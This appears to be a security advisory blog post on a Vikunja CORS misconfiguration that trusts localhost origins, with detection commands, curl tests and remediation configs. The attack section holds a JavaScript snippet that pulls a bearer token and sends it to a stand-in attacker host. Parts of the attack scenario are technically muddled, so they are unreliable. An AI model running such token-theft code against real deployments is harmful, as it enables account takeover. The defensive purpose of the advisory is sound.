IT Security 4 weeks ago

Vikunja CORS Vulnerability: Localhost Origin Misconfiguration Exposes User Accounts

A critical CORS vulnerability in Vikunja trusts any localhost origin, enabling attackers to extract authentication tokens and hijack user accounts. The advisory details impact, detection, and remediation. A critical CORS vulnerability in Vikunja trusts any localhost origin, enabling attackers to extract authentication tokens and hijack user accounts. The advisory details impact, detection, and remediation.

IT Security

Executive Summary

Vikunja, a popular open-source task management application, contains a critical Cross-Origin Resource Sharing (CORS) vulnerability that allows attackers to hijack user sessions and gain unauthorized access to sensitive account data. The vulnerability stems from default CORS configuration that trusts all localhost origins (http://127.0.0.1:* and http://localhost:*) with credentialed requests, even in production environments. An attacker can exploit this misconfiguration by hosting a malicious page on localhost and extracting valid authentication tokens from logged-in users, leading to complete account compromise.

Severity Level: Critical
CVSS Score: 8.1 (High)
Affected Component: CORS Configuration
Remediation Complexity: Low


What is Affected

Understanding the Vulnerability

What is the Vikunja CORS Misconfiguration?

Vikunja’s default CORS configuration permits any origin served from localhost addresses to make credentialed requests to its API endpoints. This is configured through the cors.origins setting, which by default includes:

  • http://127.0.0.1:*
  • http://localhost:*

Combined with Access-Control-Allow-Credentials: true, this configuration allows browsers to send authentication cookies and tokens with cross-origin requests originating from localhost.

How Default Settings Create Security Risk

The vulnerability is compounded by how Vikunja handles the service.publicurl configuration parameter. Rather than replacing the default localhost origins, the production URL is appended to them. This means that even after configuring a production domain, localhost origins remain trusted and active, creating a persistent security gap.

Default CORS behavior:

cors.origins = ["http://127.0.0.1:*", "http://localhost:*", "https://your-production-domain.com"]

This configuration allows:

  • Legitimate requests from your production domain
  • Unauthorized requests from any localhost origin ← Security risk

Why Localhost Origins Should Not Be Trusted

Localhost origins present a unique attack surface because:

  1. Low barrier to exploitation – Attackers don’t need to compromise external infrastructure; they can run malicious services locally
  2. User trust assumption – Users may not recognize localhost-based attacks as threats
  3. Development environment leakage – Developers may accidentally expose production credentials through localhost services
  4. Credential extraction – Attackers can extract valid bearer tokens and refresh tokens for any logged-in user

Technical Impact and Attack Vectors

Unauthorized Token Extraction Attack

An attacker can execute the following attack sequence:

  1. Setup – Attacker hosts a malicious HTML page on their local machine (e.g., http://localhost:8080/malicious.html)
  2. Social Engineering – Attacker tricks a Vikunja user into visiting the malicious page
  3. Token Extraction – The malicious page makes a credentialed request to the Vikunja API’s token refresh endpoint:
// Malicious code running on attacker's localhost
fetch('https://your-vikunja-instance.com/api/v1/user/token/refresh', {
  method: 'POST',
  credentials: 'include',  // Include cookies/tokens
  headers: {
    'Content-Type': 'application/json'
  }
})
.then(response => response.json())
.then(data => {
  // data.token contains valid bearer token
  // Attacker now has full account access
  fetch('http://attacker-server.com/steal?token=' + data.token);
});
  1. Account Takeover – With the extracted token, the attacker gains full access to the user’s account

Cross-Site Request Forgery (CSRF) Exploitation

The CORS misconfiguration enables CSRF attacks where:

  • Attacker’s localhost page makes unauthorized API requests on behalf of the user
  • Requests include the user’s authentication credentials automatically
  • Actions performed include: creating/modifying tasks, accessing sensitive data, changing account settings

Session Hijacking and Account Takeover

Once an attacker obtains a valid bearer token, they can:

  • Access all user tasks and projects
  • Modify or delete sensitive information
  • Change account credentials
  • Impersonate the user in collaborative environments
  • Access any data shared with the compromised account

Data Access and Privilege Escalation

Depending on the user’s role and permissions:

  • Standard users – Attackers access personal tasks, notes, and shared projects
  • Administrators – Attackers gain access to all system data and can modify application settings
  • Shared workspaces – Attackers can access data across multiple teams and projects

Affected Versions and Scope

Which Vikunja Versions Are Vulnerable

All versions of Vikunja using the default CORS configuration as described are affected. This includes:

  • Vikunja versions prior to security patches addressing this issue
  • Any deployment using default cors.origins settings without explicit configuration

Note: Check the Vikunja GitHub repository for the latest security updates and patched versions.

Default Configuration Risk Assessment

The vulnerability affects:

  • Self-hosted Vikunja instances – Particularly those using default configuration files
  • Docker deployments – Containers using default environment variables
  • Development environments – Where localhost origins are intentionally enabled but not properly restricted in production

Production Environment Exposure

Production deployments are at highest risk because:

  1. They contain real user data and active accounts
  2. Users are more likely to be logged in during normal business hours
  3. Attackers have more incentive to target production systems
  4. The vulnerability persists even after configuring a production domain

Detection and Assessment

How to Audit Your CORS Configuration

Reviewing Configuration Files

Locate your Vikunja configuration file (typically config.yml or environment variables) and examine the CORS settings:

# Vulnerable configuration
cors:
  origins:
    - "http://127.0.0.1:*"
    - "http://localhost:*"
    - "https://your-domain.com"
  credentials: true

Red flags:

  • Presence of 127.0.0.1 or localhost entries
  • credentials: true combined with permissive origins
  • Wildcard patterns (*) in origin specifications

Monitoring API Access Logs for Exploitation Signs

Review your Vikunja API logs for suspicious patterns:

# Look for these indicators:
- Requests from localhost origins to /api/v1/user/token/refresh
- Multiple token refresh requests from the same user in short timeframes
- API requests with valid tokens but unusual user-agent strings
- Requests originating from localhost but accessing production data

Log analysis example:

# Search for suspicious token refresh requests
grep "token/refresh" /var/log/vikunja/api.log | grep "127.0.0.1\|localhost"
# Check for multiple rapid requests
grep "POST.*token/refresh" /var/log/vikunja/api.log | awk '{print $1}' | sort | uniq -c | sort -rn

Testing Your Deployment

Use curl or a similar tool to test CORS behavior:

# Test if localhost origins are trusted
curl -i -X OPTIONS https://your-vikunja-instance.com/api/v1/user/token/refresh \
  -H "Origin: http://localhost:3000" \
  -H "Access-Control-Request-Method: POST"
# Vulnerable response includes:
# Access-Control-Allow-Origin: http://localhost:3000
# Access-Control-Allow-Credentials: true
# Secure response should NOT include localhost in Access-Control-Allow-Origin

Immediate Remediation Steps

Modify CORS Origins Configuration

Edit your Vikunja configuration file to explicitly define allowed origins:

For Docker deployments (using environment variables):

VIKUNJA_CORS_ORIGINS="https://your-production-domain.com"
VIKUNJA_CORS_CREDENTIALS="false"  # Only if credentialed requests aren't needed

For standard installations (config.yml):

cors:
  origins:
    - "https://your-production-domain.com"
    - "https://www.your-production-domain.com"  # If applicable
  credentials: true

Replace Localhost Defaults with Production URLs

Critical: Remove all localhost entries and replace them with your actual production domain:

# BEFORE (Vulnerable)
cors:
  origins:
    - "http://127.0.0.1:*"
    - "http://localhost:*"
    - "https://vikunja.example.com"
# AFTER (Secure)
cors:
  origins:
    - "https://vikunja.example.com"

Disable Credentialed Requests Where Unnecessary

If your application doesn’t require authentication cookies or credentials in cross-origin requests:

cors:
  origins:
    - "https://vikunja.example.com"
  credentials: false  # Disable if not needed

Verify Changes in Your Environment

After modifying configuration:

  1. Restart Vikunja service:
   sudo systemctl restart vikunja
   # or for Docker:
   docker-compose restart vikunja
  1. Verify configuration was applied:
   # Check logs for configuration loading
   tail -f /var/log/vikunja/vikunja.log | grep -i cors
  1. Test the remediation (see Testing section below)

Long-Term Security Hardening

Implementing Strict CORS Policies

Establish a baseline CORS policy that:

  • Whitelists only necessary origins – Include only domains that legitimately need API access
  • Avoids wildcards – Never use * or *.example.com patterns
  • Specifies exact protocols – Use https:// for production, never http://
  • Includes port numbers when needed – Be specific: https://app.example.com:8443 rather than https://app.example.com:*

Example production configuration:

cors:
  origins:
    - "https://vikunja.example.com"
    - "https://app.example.com"  # If frontend is on separate domain
  credentials: true
  methods:
    - "GET"
    - "POST"
    - "PUT"
    - "DELETE"
    - "OPTIONS"
  headers:
    - "Content-Type"
    - "Authorization"
  max_age: 3600

Removing Wildcard Configurations

Audit all configuration files for wildcard patterns:

# Search for wildcards in configuration
grep -r "\*" /etc/vikunja/
grep -r "0.0.0.0" /etc/vikunja/

Replace any found wildcards with specific domain names.

Conducting Security Audits

Perform regular security reviews:

  1. Quarterly CORS audits – Review configuration against current needs
  2. Access log analysis – Identify unusual API access patterns
  3. Dependency updates – Keep Vikunja and all dependencies current
  4. Security scanning – Use tools like OWASP ZAP to identify misconfigurations

Establishing Configuration Management Practices

Implement processes to prevent future misconfigurations:

  • Infrastructure as Code – Store configurations in version control with review requirements
  • Separate dev/prod configs – Maintain distinct configuration files for different environments
  • Automated testing – Validate CORS settings during deployment
  • Change documentation – Log all CORS configuration changes with justification

Verification and Testing

Confirming Remediation Success

Testing CORS configuration using browser developer tools to verify localhost origins are no longer trusted.
Testing CORS configuration using browser developer tools to verify localhost origins are no longer trusted.

Test 1: Verify Localhost Origins Are Rejected

# This should NOT return Access-Control-Allow-Origin header for localhost
curl -i -X OPTIONS https://your-vikunja-instance.com/api/v1/user/token/refresh \
  -H "Origin: http://localhost:3000" \
  -H "Access-Control-Request-Method: POST"
# Expected response (secure):
# HTTP/1.1 200 OK
# (No Access-Control-Allow-Origin header for localhost)
# Vulnerable response would include:
# Access-Control-Allow-Origin: http://localhost:3000

Test 2: Verify Production Domain Is Allowed

# This SHOULD return Access-Control-Allow-Origin for your production domain
curl -i -X OPTIONS https://your-vikunja-instance.com/api/v1/user/token/refresh \
  -H "Origin: https://your-production-domain.com" \
  -H "Access-Control-Request-Method: POST"
# Expected response (secure):
# HTTP/1.1 200 OK
# Access-Control-Allow-Origin: https://your-production-domain.com
# Access-Control-Allow-Credentials: true

Testing CORS Restrictions

Use browser developer tools to verify CORS behavior:

  1. Open browser console on your production domain
  2. Execute test request:
   fetch('https://your-vikunja-instance.com/api/v1/user/token/refresh', {
     method: 'POST',
     credentials: 'include'
   })
   .then(r => r.json())
   .then(d => console.log('Success:', d))
   .catch(e => console.log('CORS blocked:', e));
  1. Expected result – Request succeeds (legitimate domain)
  2. Repeat from localhost – Request should fail with CORS error

Validating Legitimate Application Functionality

After remediation, verify that your application still functions correctly:

  • [ ] Users can log in successfully
  • [ ] Tasks load and display properly
  • [ ] API requests from your frontend complete without CORS errors
  • [ ] Token refresh works for authenticated users
  • [ ] No console errors related to CORS

If functionality breaks after remediation:

  1. Verify your production domain is included in cors.origins
  2. Check for subdomain mismatches (e.g., app.example.com vs example.com)
  3. Ensure protocol matches (https vs http)
  4. Review browser console for specific CORS error messages

Frequently Asked Questions

What is CORS and why does it matter for security?

Cross-Origin Resource Sharing (CORS) is a browser security mechanism that controls which external domains can access your application’s resources. When a web page from one domain (origin) tries to access resources from another domain, the browser enforces CORS policies.

CORS matters for security because:

  • Prevents unauthorized data access – Without CORS restrictions, any website could access your API
  • Protects user credentials – CORS controls whether cookies and authentication tokens are sent with cross-origin requests
  • Mitigates CSRF attacks – Proper CORS configuration prevents malicious sites from performing actions on behalf of users

Misconfigured CORS settings can completely bypass these protections, allowing attackers to access sensitive APIs and user data.

How can an attacker exploit this Vikunja vulnerability?

An attacker exploits this vulnerability through these steps:

  1. Hosts a malicious page on their local machine (e.g., http://localhost:8080/malicious.html)
  2. Tricks a user into visiting the malicious page through phishing, social engineering, or other methods
  3. Extracts authentication tokens by making credentialed requests to the Vikunja API from the localhost page
  4. Gains full account access using the extracted tokens to impersonate the user

The attack works because Vikunja’s default CORS configuration trusts all localhost origins, allowing the malicious page to make credentialed requests to the API.

How do I check if my Vikunja deployment is vulnerable?

Follow these steps to assess your deployment:

  1. Locate your configuration file (config.yml or environment variables)
  2. Check the cors.origins setting for entries like:
  • http://127.0.0.1:*
  • http://localhost:*
  • 127.0.0.1 or localhost without protocol specification
  1. Verify cors.credentials is set to true
  2. If both conditions exist, your deployment is vulnerable

Quick check command:

grep -A 5 "cors:" /etc/vikunja/config.yml | grep -E "127.0.0.1|localhost"

If this returns results, your deployment is vulnerable.

What is the recommended CORS configuration for production?

The recommended production CORS configuration:

cors:
  origins:
    - "https://your-production-domain.com"
    - "https://www.your-production-domain.com"  # If applicable
  credentials: true
  methods:
    - "GET"
    - "POST"
    - "PUT"
    - "DELETE"
    - "OPTIONS"
  headers:
    - "Content-Type"
    - "Authorization"
  max_age: 3600

Key principles:

  • ✅ Use HTTPS only – Never include http:// in production
  • ✅ List specific domains – No wildcards or localhost entries
  • ✅ Include necessary HTTP methods – Only what your application needs
  • ✅ Specify required headers – Don’t use wildcard headers
  • ✅ Set reasonable max_age – Cache CORS preflight responses appropriately

Will fixing CORS break my Vikunja application?

No. Proper CORS configuration only allows legitimate domains to access your API. If your application stops working after remediation, it indicates a configuration error, not a problem with the fix itself.

If functionality breaks:

  1. Verify domain matching – Ensure the domain in your browser matches exactly what’s in cors.origins
  2. Check protocol – Confirm you’re using https:// if that’s what’s configured
  3. Review subdomains – If your frontend is on app.example.com, ensure that exact domain is listed
  4. Check for typos – CORS domain matching is case-sensitive and exact

Example troubleshooting:

# If your frontend is at https://app.example.com
# This configuration WILL break your app:
cors:
  origins:
    - "https://example.com"  # Missing 'app' subdomain
# This configuration will work:
cors:
  origins:
    - "https://app.example.com"

Should I be concerned about this vulnerability in development environments?

Yes. Even in development, restrict CORS to necessary origins only. Here’s why:

  • Prevents accidental exposure – Developers might accidentally commit production credentials
  • Maintains security habits – Practicing secure configuration in dev prevents mistakes in production
  • Enables testing – Proper CORS configuration in dev helps identify issues before production deployment

Recommended approach:

# Development configuration
cors:
  origins:
    - "http://localhost:3000"    # Your dev frontend
    - "http://127.0.0.1:3000"
  credentials: true
# Production configuration (separate file)
cors:
  origins:
    - "https://vikunja.example.com"
  credentials: true

Use environment-specific configuration files to prevent deploying development settings to production.

What should I do if I suspect my account was compromised?

If you believe your Vikunja account was compromised:

  1. Change your password immediately – Use a strong, unique password
  2. Review recent activity – Check login history and recent actions in your account
  3. Audit your data – Look for unauthorized tasks, projects, or modifications
  4. Check for credential changes – Verify your email address and recovery options haven’t been modified
  5. Monitor your account – Watch for suspicious activity over the next few weeks
  6. Contact your administrator – Report the suspected compromise to your Vikunja administrator
  7. Review other accounts – If you use the same password elsewhere, change those passwords too

For administrators:

  • Review API access logs for the affected user’s account
  • Check for token extraction attempts from localhost origins
  • Audit all accounts for unauthorized access
  • Consider forcing password resets for all users as a precaution
  • Implement the CORS remediation steps immediately

References


Document Version: 1.0
Last Updated: 2024
Classification: Security Advisory
Distribution: All Vikunja Administrators and Users

For questions or additional information about this vulnerability, contact your Vikunja administrator or security team.

← Back to IT Security